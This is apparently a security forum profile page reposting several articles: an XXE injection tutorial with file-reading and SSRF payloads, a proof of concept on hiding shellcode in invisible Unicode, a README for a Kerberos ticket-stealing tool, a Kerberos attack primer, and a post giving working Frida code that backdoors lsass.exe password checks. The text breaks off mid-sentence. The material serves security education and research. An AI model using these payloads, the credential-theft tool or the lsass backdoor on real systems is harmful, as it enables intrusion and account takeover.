-
Posts
18772 -
Joined
-
Last visited
-
Days Won
729
Everything posted by Nytro
-
XML external entity (XXE) injection In this section, we'll explain what XML external entity injection is, describe some common examples, explain how to find and exploit various kinds of XXE injection, and summarize how to prevent XXE injection attacks. What is XML external entity injection? XML external entity injection (also known as XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any backend or external systems that the application itself can access. In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other backend infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks. How do XXE vulnerabilities arise? Some applications use the XML format to transmit data between the browser and the server. Applications that do this virtually always use a standard library or platform API to process the XML data on the server. XXE vulnerabilities arise because the XML specification contains various potentially dangerous features, and standard parsers support these features even if they are not normally used by the application. Read more Learn about the XML format, DTDs, and external entities XML external entities are a type of custom XML entity whose defined values are loaded from outside of the DTD in which they are declared. External entities are particularly interesting from a security perspective because they allow an entity to be defined based on the contents of a file path or URL. What are the types of XXE attacks? There are various types of XXE attacks: Exploiting XXE to retrieve files, where an external entity is defined containing the contents of a file, and returned in the application's response. Exploiting XXE to perform SSRF attacks, where an external entity is defined based on a URL to a back-end system. Exploiting blind XXE exfiltrate data out-of-band, where sensitive data is transmitted from the application server to a system that the attacker controls. Exploiting blind XXE to retrieve data via error messages, where the attacker can trigger a parsing error message containing sensitive data. Exploiting XXE to retrieve files To perform an XXE injection attack that retrieves an arbitrary file from the server's filesystem, you need to modify the submitted XML in two ways: Introduce (or edit) a DOCTYPE element that defines an external entity containing the path to the file. Edit a data value in the XML that is returned in the application's response, to make use of the defined external entity. For example, suppose a shopping application checks for the stock level of a product by submitting the following XML to the server: <?xml version="1.0" encoding="UTF-8"?> <stockCheck><productId>381</productId></stockCheck> The application performs no particular defenses against XXE attacks, so you can exploit the XXE vulnerability to retrieve the /etc/passwd file by submitting the following XXE payload: <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <stockCheck><productId>&xxe;</productId></stockCheck> This XXE payload defines an external entity &xxe; whose value is the contents of the /etc/passwd file and uses the entity within the productId value. This causes the application's response to include the contents of the file: Invalid product ID: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ... Note With real-world XXE vulnerabilities, there will often be a large number of data values within the submitted XML, any one of which might be used within the application's response. To test systematically for XXE vulnerabilities, you will generally need to test each data node in the XML individually, by making use of your defined entity and seeing whether it appears within the response. LABExploiting XXE using external entities to retrieve files Exploiting XXE to perform SSRF attacks Aside from retrieval of sensitive data, the other main impact of XXE attacks is that they can be used to perform server-side request forgery (SSRF). This is a potentially serious vulnerability in which the server-side application can be induced to make HTTP requests to any URL that the server can access. To exploit an XXE vulnerability to perform an SSRF attack, you need to define an external XML entity using the URL that you want to target, and use the defined entity within a data value. If you can use the defined entity within a data value that is returned in the application's response, then you will be able to view the response from the URL within the application's response, and so gain two-way interaction with the backend system. If not, then you will only be able to perform blind SSRF attacks (which can still have critical consequences). In the following XXE example, the external entity will cause the server to make a back-end HTTP request to an internal system within the organization's infrastructure: <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/"> ]> LABExploiting XXE to perform SSRF attacks Blind XXE vulnerabilities Many instances of XXE vulnerabilities are blind. This means that the application does not return the values of any defined external entities in its responses, and so direct retrieval of server-side files is not possible. Blind XXE vulnerabilities can still be detected and exploited, but more advanced techniques are required. You can sometimes use out-of-band techniques to find vulnerabilities and exploit them to exfiltrate data. And you can sometimes trigger XML parsing errors that lead to disclosure of sensitive data within error messages. Read more Finding and exploiting blind XXE vulnerabilities Finding hidden attack surface for XXE injection Attack surface for XXE injection vulnerabilities is obvious in many cases, because the application's normal HTTP traffic includes requests that contain data in XML format. In other cases, the attack surface is less visible. However, if you look in the right places, you will find XXE attack surface in requests that do not contain any XML. XInclude attacks Some applications receive client-submitted data, embed it on the server-side into an XML document, and then parse the document. An example of this occurs when client-submitted data is placed into a backend SOAP request, which is then processed by the backend SOAP service. In this situation, you cannot carry out a classic XXE attack, because you don't control the entire XML document and so cannot define or modify a DOCTYPE element. However, you might be able to use XInclude instead. XInclude is a part of the XML specification that allows an XML document to be built from sub-documents. You can place an XInclude attack within any data value in an XML document, so the attack can be performed in situations where you only control a single item of data that is placed into a server-side XML document. To perform an XInclude attack, you need to reference the XInclude namespace and provide the path to the file that you wish to include. For example: <foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo> LABExploiting XInclude to retrieve files XXE attacks via file upload Some applications allow users to upload files which are then processed server-side. Some common file formats use XML or contain XML subcomponents. Examples of XML-based formats are office document formats like DOCX and image formats like SVG. For example, an application might allow users to upload images, and process or validate these on the server after they are uploaded. Even if the application expects to receive a format like PNG or JPEG, the image processing library that is being used might support SVG images. Since the SVG format uses XML, an attacker can submit a malicious SVG image and so reach hidden attack surface for XXE vulnerabilities. LABExploiting XXE via image file upload XXE attacks via modified content type Most POST requests use a default content type that is generated by HTML forms, such as application/x-www-form-urlencoded. Some web sites expect to receive requests in this format but will tolerate other content types, including XML. For example, if a normal request contains the following: POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 foo=bar Then you might be able submit the following request, with the same result: POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo> If the application tolerates requests containing XML in the message body, and parses the body content as XML, then you can reach the hidden XXE attack surface simply by reformatting requests to use the XML format. How to find and test for XXE vulnerabilities The vast majority of XXE vulnerabilities can be found quickly and reliably using Burp Suite's web vulnerability scanner. Manually testing for XXE vulnerabilities generally involves: Testing for file retrieval by defining an external entity based on a well-known operating system file and using that entity in data that is returned in the application's response. Testing for blind XXE vulnerabilities by defining an external entity based on a URL to a system that you control, and monitoring for interactions with that system. Burp Collaborator client is perfect for this purpose. Testing for vulnerable inclusion of user-supplied non-XML data within a server-side XML document by using an XInclude attack to try to retrieve a well-known operating system file. How to prevent XXE vulnerabilities Virtually all XXE vulnerabilities arise because the application's XML parsing library supports potentially dangerous XML features that the application does not need or intend to use. The easiest and most effective way to prevent XXE attacks is to disable those features. Generally, it is sufficient to disable resolution of external entities and disable support for XInclude. This can usually be done via configuration options or by programmatically overriding default behavior. Consult the documentation for your XML parsing library or API for details about how to disable unnecessary capabilities. Sursa: https://portswigger.net/web-security/xxe
-
PoC: Encoding Shellcode Into Invisible Unicode Characters Malware has been using unicode since time ago, to hide / obfuscate urls, filenames, scripts, etc... Right-to-left Override character (e2 80 ae) is a classic. In this post a PoC is shared, where a shellcode is hidden / encoded into a string in a python script (probably this would work with other languages too), with invisible unicode characers that will not be displayed by the most of the text editors. The idea is quite simple. We will choose three "invisible" unicode characters: e2 80 8b : bit 0 e2 80 8c : bit 1 e2 80 8d : delimiter With this, and having a potentially malicious script, we can encode the malicious script, bit by bit, into these unicode characters: (delimiter e2 80 8d) .....encoded script (bit 0 to e2 80 8b, bit 1 to e2 80 8c)...... (delimiter e2 80 8d) I have used this simple script to encode the malicious script: https://github.com/vallejocc/PoC-Hide-Python-Malscript-UnicodeChars/blob/master/encode.py Now, we can embbed this encoded "invisible" unicode chars into a string. The following source code looks like a simple hello world: https://github.com/vallejocc/PoC-Hide-Python-Malscript-UnicodeChars/blob/master/helloworld.py However, if you download and open the file with an hexadecimal editor you can see all that encoded information that is part of the hello world string: Most of the text editors that I tested didn't display the unicode characters: Visual Studio, Geany, Sublime, Notepad, browsers, etc... The following script decodes and executes a secondary potentially malicious python script (the PoC script only executes calc) from invisible unicode characters: https://github.com/vallejocc/PoC-Hide-Python-Malscript-UnicodeChars/blob/master/malicious.py And the following script decodes a x64 shellcode (the shellcode executes calc) from invisible unicode characters, then it loads the shellcode with VirtualAlloc+WriteProtectMemory, and calls CreateThread to execute it: https://github.com/vallejocc/PoC-Hide-Python-Malscript-UnicodeChars/blob/master/malicious2_x64_shellcode.py The previous scripts are quite obvious and suspicious, but if this encoded malicious script and these lines are mixed into a longer and more complicated source code, probably it would be harder to notice the script contains malicious code. So, careful when you download your favorite exploits! I have not tested it, but probably this will work with other languanges. Visual Studio for example, doesn't show this characters into a C source code. Posted by vallejocc at 2:47 AM Sursa: http://www.vallejo.cc/2019/05/poc-encrypting-malicious-script-into.html
-
Tickey Tool to extract Kerberos tickets from Linux kernel keys. Based in the paper Kerberos Credential Thievery (GNU/Linux). Building git clone https://github.com/TarlogicSecurity/tickey cd tickey/tickey make CONF=Release After that, binary should be in dist/Release/GNU-Linux/. Execution Arguments: -i => To perform process injection if it is needed -s => To not print in output (for injection) Important: when injects in another process, tickey performs an execve syscall which invocates its own binary from the context of another user. Therefore, to perform a successful injection, the binary must be in a folder which all users have access, like /tmp. Execution example: [root@Lab-LSV01 /]# /tmp/tickey -i [*] krb5 ccache_name = KEYRING:session:sess_%{uid} [+] root detected, so... DUMP ALL THE TICKETS!! [*] Trying to inject in tarlogic[1000] session... [+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache [*] Trying to inject in velociraptor[1120601115] session... [+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache [*] Trying to inject in trex[1120601113] session... [+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache [X] [uid:0] Error retrieving tickets License This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with this program. If not, see https://www.gnu.org/licenses/. Author Eloy Pérez González @Zer1t0 at @Tarlogic - https://www.tarlogic.com/en/ Acknowledgment Thanks to @TheXC3LL for his support with the binary injection. Sursa: https://github.com/TarlogicSecurity/tickey
-
Kerberos (I): How does Kerberos work? – Theory 20 - MAR - 2019 - ELOY PÉREZ The objective of this series of posts is to clarify how Kerberos works, more than just introduce the attacks. This due to the fact that in many occasions it is not clear why some techniques works or not. Having this knowledge allows to know when to use any of those attacks in a pentest. Therefore, after a long journey of diving into the documentation and several posts about the topic, we’ve tried to write in this post all the important details which an auditor should know in order to understand how take advantage of Kerberos protocol. In this first post only basic functionality will be discussed. In later posts it will see how perform the attacks and how the more complex aspects works, as delegation. If you have any doubt about the topic which it is not well explained, do not be afraid on leave a comment or question about it. Now, onto the topic. What is Kerberos? Firstly, Kerberos is an authentication protocol, not authorization. In other words, it allows to identify each user, who provides a secret password, however, it does not validates to which resources or services can this user access. Kerberos is used in Active Directory. In this platform, Kerberos provides information about the privileges of each user, but it is responsability of each service to determine if the user has access to its resources. Kerberos items In this section several components of Kerberos environment will be studied. Transport layer Kerberos uses either UDP or TCP as transport protocol, which sends data in cleartext. Due to this Kerberos is responsible for providing encryption. Ports used by Kerberos are UDP/88 and TCP/88, which should be listen in KDC (explained in next section). Agents Several agents work together to provide authentication in Kerberos. These are the following: Client or user who wants to access to the service. AP (Application Server) which offers the service required by the user. KDC (Key Distribution Center), the main service of Kerberos, responsible of issuing the tickets, installed on the DC (Domain Controller). It is supported by the AS (Authentication Service), which issues the TGTs. Encryption keys There are several structures handled by Kerberos, as tickets. Many of those structures are encrypted or signed in order to prevent being tampered by third parties. These keys are the following: KDC or krbtgt key which is derivate from krbtgt account NTLM hash. User key which is derivate from user NTLM hash. Service key which is derivate from the NTLM hash of service owner, which can be an user or computer account. Session key which is negotiated between the user and KDC. Service session key to be use between user and service. Tickets The main structures handled by Kerberos are the tickets. These tickets are delivered to the users in order to be used by them to perform several actions in the Kerberos realm. There are 2 types: The TGS (Ticket Granting Service) is the ticket which user can use to authenticate against a service. It is encrypted with the service key. The TGT (Ticket Granting Ticket) is the ticket presented to the KDC to request for TGSs. It is encrypted with the KDC key. PAC The PAC (Privilege Attribute Certificate) is an structure included in almost every ticket. This structure contains the privileges of the user and it is signed with the KDC key. It is possible to services to verify the PAC by comunicating with the KDC, although this does not happens often. Nevertheless, the PAC verification consists of checking only its signature, without inspecting if privileges inside of PAC are correct. Furthermore, a client can avoid the inclusion of the PAC inside the ticket by specifying it in KERB-PA-PAC-REQUEST field of ticket request. Messages Kerberos uses differents kinds of messages. The most interesting are the following: KRB_AS_REQ: Used to request the TGT to KDC. KRB_AS_REP: Used to deliver the TGT by KDC. KRB_TGS_REQ: Used to request the TGS to KDC, using the TGT. KRB_TGS_REP: Used to deliver the TGS by KDC. KRB_AP_REQ: Used to authenticate a user against a service, using the TGS. KRB_AP_REP: (Optional) Used by service to identify itself against the user. KRB_ERROR: Message to comunicate error conditions. Additionally, even if it is not part of Kerberos, but NRPC, the AP optionally could use the KERB_VERIFY_PAC_REQUEST message to send to KDC the signature of PAC, and verify if it is correct. Below is shown a summary of message sequency to perform authentication: Kerberos messages summary Authentication process In this section, the sequency of messages to perform authentication will be studied, starting from a user without tickets, up to being authenticated against the desired service. KRB_AS_REQ Firstly, user must get a TGT from KDC. To achieve this, a KRB_AS_REQ must be sent: KRB_AS_REQ schema message KRB_AS_REQ has, among others, the following fields: A encrypted timestamp with client key, to authenticate user and prevent replay attacks Username of authenticated user The service SPN asociated with krbtgt account A Nonce generated by the user Note: the encrypted timestamp is only necessary if user requires preauthentication, which is common, except if DONT_REQ_PREAUTH flag is set in user account. KRB_AS_REP After receiving the request, the KDC verifies the user identity by decrypting the timestamp. If the message is correct, then it must respond with a KRB_AS_REP: KRB_AS_REP schema message KRB_AS_REP includes the next information: Username TGT, which includes: Username Session key Expiration date of TGT PAC with user privileges, signed by KDC Some encrypted data with user key, which includes: Session key Expiration date of TGT User nonce, to prevent replay attacks Once finished, user already has the TGT, which can be used to request TGSs, and afterwards access to the services. KRB_TGS_REQ In order to request a TGS, a KRB_TGS_REQ message must be sent to KDC: KRB_TGS_REQ schema message KRB_TGS_REQ includes: Encrypted data with session key: Username Timestamp TGT SPN of requested service Nonce generated by user KRB_TGS_REP After receiving the KRB_TGS_REQ message, the KDC returns a TGS inside of KRB_TGS_REP: KRB_TGS_REP schema message KRB_TGS_REP includes: Username TGS, which contains: Service session key Username Expiration date of TGS PAC with user privileges, signed by KDC Encrypted data with session key: Service session key Expiration date of TGS User nonce, to prevent replay attacks KRB_AP_REQ To finish, if everything went well, the user already has a valid TGS to interact with service. In order to use it, user must send to the AP a KRB_AP_REQ message: KRB_AP_REQ schema message KRB_AP_REQ includes: TGS Encrypted data with service session key: Username Timestamp, to avoid replay attacks After that, if user privileges are rigth, this can access to service. If is the case, which not usually happens, the AP will verify the PAC against the KDC. And also, if mutual authentication is needed it will respond to user with a KRB_AP_REP message. Attacks Based on previous explained authentication process the attacks oriented to compromise Active Directory will be explained in this section. Overpass The Hash/Pass The Key (PTK) The popular Pass The Hash (PTH) attack consist in using the user hash to impersonate the specific user. In the context of Kerberos this is known as Overpass The Hash o Pass The Key. If an attacker gets the hash of any user, he could impersonate him against the KDC and then gain access to several services. User hashes can be extracted from SAM files in workstations or NTDS.DIT file of DCs, as well as from the lsass process memory (by using Mimikatz) where it is also possible to find cleartext passwords. Pass The Ticket (PTT) Pass The Ticket technique is about getting an user ticket and use it to impersonate that user. However, besides the ticket, it is necessary obtain the session key too in order to use the ticket. It is possible obtain the ticket performing a Man-In-The-Middle attack, due to the fact that Kerberos is sent over TCP or UDP. However, this techniques does not allow get access to session key. An alternative is getting the ticket from lsass process memory, where also reside the session key. This procediment could be performed with Mimikatz. It is better to obtain a TGT, due to TGS only can be used against one service. Also, it should be taken into account that the lifetime of tickets is 10 hours, after that they are unusable. Golden Ticket and Silver Ticket The objective of Golden Ticket is to build a TGT. In this regard, it is necessary to obtain the NTLM hash of krbtgt account. Once that is obtained, a TGT with custom user and privileges can be built. Moreover, even if user changes his password, the ticket still will be valid. The TGT only can be invalidate if this expires or krbtgt account changes its password. Silver Ticket is similar, however, the built ticket is a TGS this time. In this case the service key is required, which is derived from service owner account. Nevertheless, it is not possible to sign correctly the PAC without krbtgt key. Therefore, if the service verifies the PAC, then this technique will not work. Kerberoasting Kerberoasting is a technique which takes advantage of TGS to crack the user accounts passwords offline. As seen above, TGS comes encrypted with service key, which is derived from service owner account NTLM hash. Usually the owners of services are the computers in which the services are being executed. However, the computer passwords are very complex, thus, it is not useful to try to crack those. This also happens in case of krbtgt account, therefore, TGT is not crackable neither. All the same, on some occasions the owner of service is a normal user account. In these cases it is more feasible to crack their passwords. Moreover, this sort of accounts normally have very juicy privileges. Additionally, to get a TGS for any service only a normal domain account is needed, due to Kerberos not perform authorization checks. ASREPRoast ASREPRoast is similar to Kerberoasting, that also pursues the accounts passwords cracking. If the attribute DONT_REQ_PREAUTH is set in a user account, then it is possible to built a KRB_AS_REQ message without specifying its password. After that, the KDC will respond with a KRB_AS_REP message, which will contain some information encrypted with the user key. Thus, this message can be used to crack the user password. Conclusion In this first post the Kerberos authentication process has been studied and the attacks has been also introduced. The following posts will show how to perform these attacks in a practical way and also how delegation works. I really hope that this post it helps to understand some of the more abstract concepts of Kerberos. References Kerberos v5 RFC: https://tools.ietf.org/html/rfc4120 [MS-KILE] – Kerberos extension: https://msdn.microsoft.com/en-us/library/cc233855.aspx [MS-APDS] – Authentication Protocol Domain Support: https://msdn.microsoft.com/en-us/library/cc223948.aspx Mimikatz and Active Directory Kerberos Attacks: https://adsecurity.org/?p=556 Explain like I’m 5: Kerberos: https://www.roguelynn.com/words/explain-like-im-5-kerberos/ Kerberos & KRBTGT: https://adsecurity.org/?p=483 Mastering Windows Network Forensics and Investigation, 2 Edition . Autores: S. Anson , S. Bunting, R. Johnson y S. Pearson. Editorial Sibex. Active Directory , 5 Edition. Autores: B. Desmond, J. Richards, R. Allen y A.G. Lowe-Norris Service Principal Names: https://msdn.microsoft.com/en-us/library/ms677949(v=vs.85).aspx Niveles funcionales de Active Directory: https://technet.microsoft.com/en-us/library/dbf0cdec-d72f-4ba3-bc7a-46410e02abb0 OverPass The Hash – Gentilkiwi Blog: https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash Pass The Ticket – Gentilkiwi Blog: https://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos Golden Ticket – Gentilkiwi Blog: https://blog.gentilkiwi.com/securite/mimikatz/golden-ticket-kerberos Mimikatz Golden Ticket Walkthrough: https://www.beneaththewaves.net/Projects/Mimikatz_20_-_Golden_Ticket_Walkthrough.html Attacking Kerberos: Kicking the Guard Dog of Hades: https://files.sans.org/summit/hackfest2014/PDFs/Kicking%20the%20Guard%20Dog%20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-%20Tim%20Medin(1).pdf Kerberoasting – Part 1: https://room362.com/post/2016/kerberoast-pt1/ Kerberoasting – Part 2: https://room362.com/post/2016/kerberoast-pt2/ Roasting AS-REPs: https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/ PAC Validation: https://passing-the-hash.blogspot.com.es/2014/09/pac-validation-20-minute-rule-and.html Understanding PAC Validation: https://blogs.msdn.microsoft.com/openspecification/2009/04/24/understanding-microsoft-kerberos-pac-validation/ Reset the krbtgt acoount password/keys: https://gallery.technet.microsoft.com/Reset-the-krbtgt-account-581a9e51 Mitigating Pass-the-Hash (PtH) Attacks and Other Credential Theft: https://www.microsoft.com/en-us/download/details.aspx?id=36036 Fun with LDAP, Kerberos (and MSRPC) in AD Environments: https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments?slide=58 Sursa: https://www.tarlogic.com/en/blog/how-kerberos-works/
-
recreating known universal windows password backdoors with Frida Reading time ~20 min Posted by leon on 23 April 2019 Categories: Backdoor, Frida, Lsass, Windows, Password tl;dr I have been actively using Frida for little over a year now, but primarily on mobile devices while building the objectiontoolkit. My interest in using it on other platforms has been growing, and I decided to play with it on Windows to get a feel. I needed an objective, and decided to try port a well-known local Windows password backdoor to Frida. This post is mostly about the process of how Frida will let you quickly investigate and prototype using dynamic instrumentation. the setup Before I could do anything, I had to install and configure Frida. I used the standard Python-based Frida environment as this includes tooling for really easy, rapid development. I just had to install a Python distribution on Windows, followed by a pip install frida frida-tools. With Frida configured, the next question was what to target? Given that anything passwords related is usually interesting, I decided on the Windows Local Security Authority Subsystem Service (lsass.exe). I knew there was a lot of existing knowledge that could be referenced for lsass, especially when considering projects such as Mimikatz, but decided to venture down the path of discovery alone. I figured I’d start by attaching Frida to lsass.exe and enumerate the process a little. Currently loaded modules and any module exports were of interest to me. I started by simply typing frida lsass.exeto attach to the process from an elevated command prompt (Runas Administrator -> accept UAC prompt), and failed pretty hard: RtlCreateUserThread returned 0xc0000022 Running Frida from a PowerShell prompt worked fine though: Frida attached to lsass.exe Turns out, SeDebugPrivilege was not granted by default for the command prompt in my Windows 10 installation, but was when invoking PowerShell. SeDebugPrivilege disabled in an Administrator command prompt With that out of the way, lets write some scripts to enumerate lsass! I started simple, with only a Process.enumerateModules() call, iterating the results and printing the module name. This would tell me which modules were currently loaded in lsass. lsass module enumeration Some Googling of the loaded DLL’s, as well as exports enumeration had me focus on the msv1_0.DLL Authentication Package first. This authentication package was described as the one responsible for local machine logons, and a prime candidate for our shenanigans. Frida has a utility called frida-trace (part of the frida-tools package) which could be used to “trace” function calls within a DLL. So, I went ahead and traced the msv1_0.dll DLL while performing a local interactive login using runas. msv1_0.dll exports, viewed in IDA Free frida-trace output for the msv1_0.dll when performing two local, interactive authentication actions As you can see, frida-trace makes it suuuuuper simple to get a quick idea of what may be happening under the hood, showing a flow of LsaApCallPackageUntrusted() -> MsvSamValidate(), followed by two LsaApLogonTerminated() calls when I invoke runas /user:user cmd. Without studying the function prototype for MsvSamValidate(), I decided to take a look at what the return values would be for the function (if any) with a simple log(retval) statement in the onLeave() function. This function was part of the autogenerated handlers that frida-trace creates for any matched methods it should trace, dumping a small JavaScript snippet in the __handlers__ directory. MsvValidate return values A naive assumption at this stage was that if the supplied credentials were incorrect, MsvSamValidate() would simply return a non NULL value (which may be an error code or something). The hook does not consider what the method is actuallydoing (or that there may be further function calls that may be more interesting), especially in the case of valid authentication, but, I figured I will give overriding the return value even if an invalid set of credentials were supplied a shot. Editing the handler generated by frida-trace, I added a retval.replace(0x0) statement to the onLeave() method, and tried to auth… One dead Windows Computer Turns out, LSASS is not that forgiving when you tamper with its internals I had no expectation that this was going to work, but, it proved an interesting exercise nonetheless. From here, I had to resort to actually understanding MsvSamValidate()before I could get anything useful done with it. backdoor – approach #1 Playing with MsvSamValidate() did not yield much in terms of an interesting hook, but researching LSASS and Authentication Packages online lead me to this article which described a “universal” password backdoor for any local Windows account. I figured this may be an interesting one to look at, and so a new script began that focussed on RtlCompareMemory. According to the article, RtlCompareMemory would be called to finally compare the MD4 value from a local SAM database with a calculated MD4 of a provided password. The blog post also included some sample code to demonstrate the backdoor, which implements a hardcoded password to trigger a successful authentication scenario. From the MSDN docs, RtlCompareMemory takes three arguments where the first two are pointers. The third argument is a count for the number of bytes to compare. The function would simply return a value indicating how many bytes from the two blocks of memory were the same. In the case of an MD4 comparison, if 16 bytes were the same, then the two blocks will be considered the same, and the RtlCompareMemory function will return 0x10. To understand how RtlCompareMemory was used from an LSASS perspective, I decided to use frida-trace to visualise invocations of the function. This was a really cheap attempt considering that I knew this specific function was interesting. I did not have to find out which DLL’s may have this function or anything, frida-trace does all of that for us after simply specifying the name target function name. Unfiltered RltCompareMemory invocations from within lsass.exe The RtlCompareMemroy function was resolved in both Kernel32.dll as well as in ntdll.dll. I focused on ntdll.dll, but it turns out it could work with either. Upon invocation, without even attempting to authenticate to anything, the output was racing past in the terminal making it impossible to follow (as you can see by the “ms” readings in the above screenshot). I needed to get the output filtered, showing only the relevant invocations. The first question I had was: “Are these calls from kernel32 or ntdll?”, so I added a module string to the autogenerated frida-trace handler to distinguish the two. Module information added to log() calls Running the modified handlers, I noticed that the RtlCompareMemory function in both modules were being called, every time. Interesting. Next, I decided to log the lengths that were being compared. Maybe there is a difference? Remember, RtlCompareMemory receives a third argument for the length, so we could just dump that value from memory. RtlCompareMemory size argument dumping So even the size was the same for the RtlCompareMemory calls in both of the identified modules. At this stage, I decided to focus on the function in ntdll.dll, and ignore the kernel32.dll module for now. I also dumped the bytes to screen of what was being compared so that I could get some indication of the data that was being compared. Frida has a hexdumphelper specifically for this! RtlCompareMemory block contents I observed the output for a while to see if I could spot any patterns, especially while performing authentication. The password for the user account I configured was… password, and eventually, I spotted it as one of the blocks RtlCompareMemory had to compare. ASCII, NULL padded password spotted as one of the memory blocks used in RtlCompareMemory I also noticed that many different block sizes were being compared using RtlCompareMemroy. As the local Windows SAM database stores the password for an account as an MD4 hash, these hashes could be represented as 16 bytes in memory. As RtlCompareMemory gets the length of bytes to compare, I decided to just filter the output to only report where 16 bytes were to be compared. This is also how the code in the previously mentioned blogpost filters candidates to check for the backdoor password. This time round, the output generated by frida-trace was much more readable and I could get a better idea of what was going on. An analysis of the output yielded the following results: When providing the correct, and incorrect password to the runas command, the RtlCompareMemory function is called five times. The first eight characters from the password entered will appear to be padded with a 0x00 byte between each character, most likely due to unicode encoding, making up a 16 byte stream that gets compared with something else (unknown value). The fourth call to RtlCompareMemory appears to compare to the hash from the SAM database which is provided as arg[0]. The password for the test account was password, which has an MD4 hash value of 8846f7eaee8fb117ad06bdd830b7586c. Five calls to RtlCompareMemory (incl. memory block contents) that wanted to compare 16 bytes when providing an invalid password of testing123 Five calls to RtlCompareMemory (incl. memory block contents) that wanted to compare 16 bytes when providing a valid password of password At this point I figured I should log the function return values as well, just to get an idea of what a success and failure condition looks like. I made two more authentication attempts using runas, one with a valid password and one with an invalid password, observing what the RtlCompareMemory function returns. RtlCompareMemory return values The fourth call to RtlCompareMemory returns the number of bytes that matched in the successful case (which was actually the MD4 comparison), which should be 16 (indicated by the hex 0x10). Considering what we have learnt so far, I naively assumed I could make a “universal backdoor” by simply returning 0x10 for any call to RtlCompareMemory that wanted to compare 16 bytes, originating from within LSASS. This would mean that any password would work, right? I updated the frida-trace handler to simply retval.replace(0x10) indicating that 16 bytes matched in the onLeave method and tested! Authentication failure after aggressively overriding the return value for RtlCompareMemory Instead of successfully authenticating, the number of times RtlCompareMemory got called was reduced to only two invocations (usually it would be five), and the authentication attempt completely failed, even when the correct password was provided. I wasn’t as lucky as I had hoped for. I figured this may be because of the overrides, and I may be breaking other internals where a return for RtlCompareMemory may be used in a negative test. For plan B, I decided to simply recreate the backdoor of the original blogpost. That means, when authenticating with a specific password, only then return that check as successful (in other words, return 0x10 from the RtlCompareMemoryfunction). We learnt in previous tests that the fourth invocation of RtlCompareMemory compares the two buffers of the calculated MD4 of the supplied password and the MD4 from the local SAM database. So, for the backdoor to trigger, we should embed the MD4 of a password we know, and trigger when that is supplied. I used a small python2 one-liner to generate an MD4 of the word backdoor formatted as an array you can use in JavaScript: import hashlib;print([ord(x) for x in hashlib.new('md4', 'backdoor'.encode('utf-16le')).digest()]) When run in a python2 interpreter, the one-liner should output something like [22, 115, 28, 159, 35, 140, 92, 43, 79, 18, 148, 179, 250, 135, 82, 84]. This is a byte array that could be used in a Frida script to compare if the supplied password was backdoor, and if so, return 0x10 from the RtlCompareMemory function. This should also prevent the case where blindly returning 0x10 for any 16 byte comparison using RtlCompareMemory breaks other stuff. Up until now we have been using frida-trace and its autogenerated handlers to interact with the RtlCompareMemoryfunction. While this was perfect for us to quickly interact with the target function, a more robust way is preferable in the long term. Ideally, we want to make the sharing of a simple JavaScript snippet easy. To replicate the functionality we have been using up until now, we can use the Frida Interceptor API, providing the address of ntdll!RtlCompareMemory and performing our logic in there as we have in the past using the autogenerated handler. We can find the address of our function using the Module API, calling getExportByName on it. // from: https://github.com/sensepost/frida-windows-playground/blob/master/RtlCompareMemory_backdoor.js const RtlCompareMemory = Module.getExportByName('ntdll.dll', 'RtlCompareMemory'); // generate bytearrays with python: // import hashlib;print([ord(x) for x in hashlib.new('md4', 'backdoor'.encode('utf-16le')).digest()]) //const newPassword = new Uint8Array([136, 70, 247, 234, 238, 143, 177, 23, 173, 6, 189, 216, 48, 183, 88, 108]); // password const newPassword = new Uint8Array([22, 115, 28, 159, 35, 140, 92, 43, 79, 18, 148, 179, 250, 135, 82, 84]); // backdoor Interceptor.attach(RtlCompareMemory, { onEnter: function (args) { this.compare = 0; if (args[2] == 0x10) { const attempt = new Uint8Array(ptr(args[1]).readByteArray(16)); this.compare = 1; this.original = attempt; } }, onLeave: function (retval) { if (this.compare == 1) { var match = true; for (var i = 0; i != this.original.byteLength; i++) { if (this.original[i] != newPassword[i]) { match = false; } } if (match) { retval.replace(16); } } } }); The resultant script means that one can authenticate using any local account with the password backdoor when invoking Frida with frida lsass.exe -l .\backdoor.js from an Administrative PowerShell prompt. backdoor – approach #2 Our backdoor approach has a few limitations; the first being that network logons (such as ones initiated using smbclient) don’t appear to work with the backdoor password, the second being that I wanted any password to work, not just backdoor(or whatever you embed in the script). Using the script we have already written, I decided to take a closer look and try and figure out what was calling RtlCompareMemory. I love backtraces, and generating those with Frida is really simple using the backtrace() method on the Thread module. With a backtrace we should be able to see exactly where the a call to RtlCompareMemory came from and extend our investigation a litter further. Backtraces printed for each invocation of RtlCompareMemory I investigated the five backtraces and found two function names that were immediately interesting. The first being MsvValidateTarget and the second being MsvpPasswordValidate. MsvpValidateTarget was being called right after MsvpSamValidate, which may explain why my initial hooking attempts failed as there may be more processing happening there. MsvpPasswordValidate was being called in the fourth invocation of RtlCompareMemory which was the call that compared two MD4 hashes when authenticating interactively as previously discussed. At this stage I Google’d the 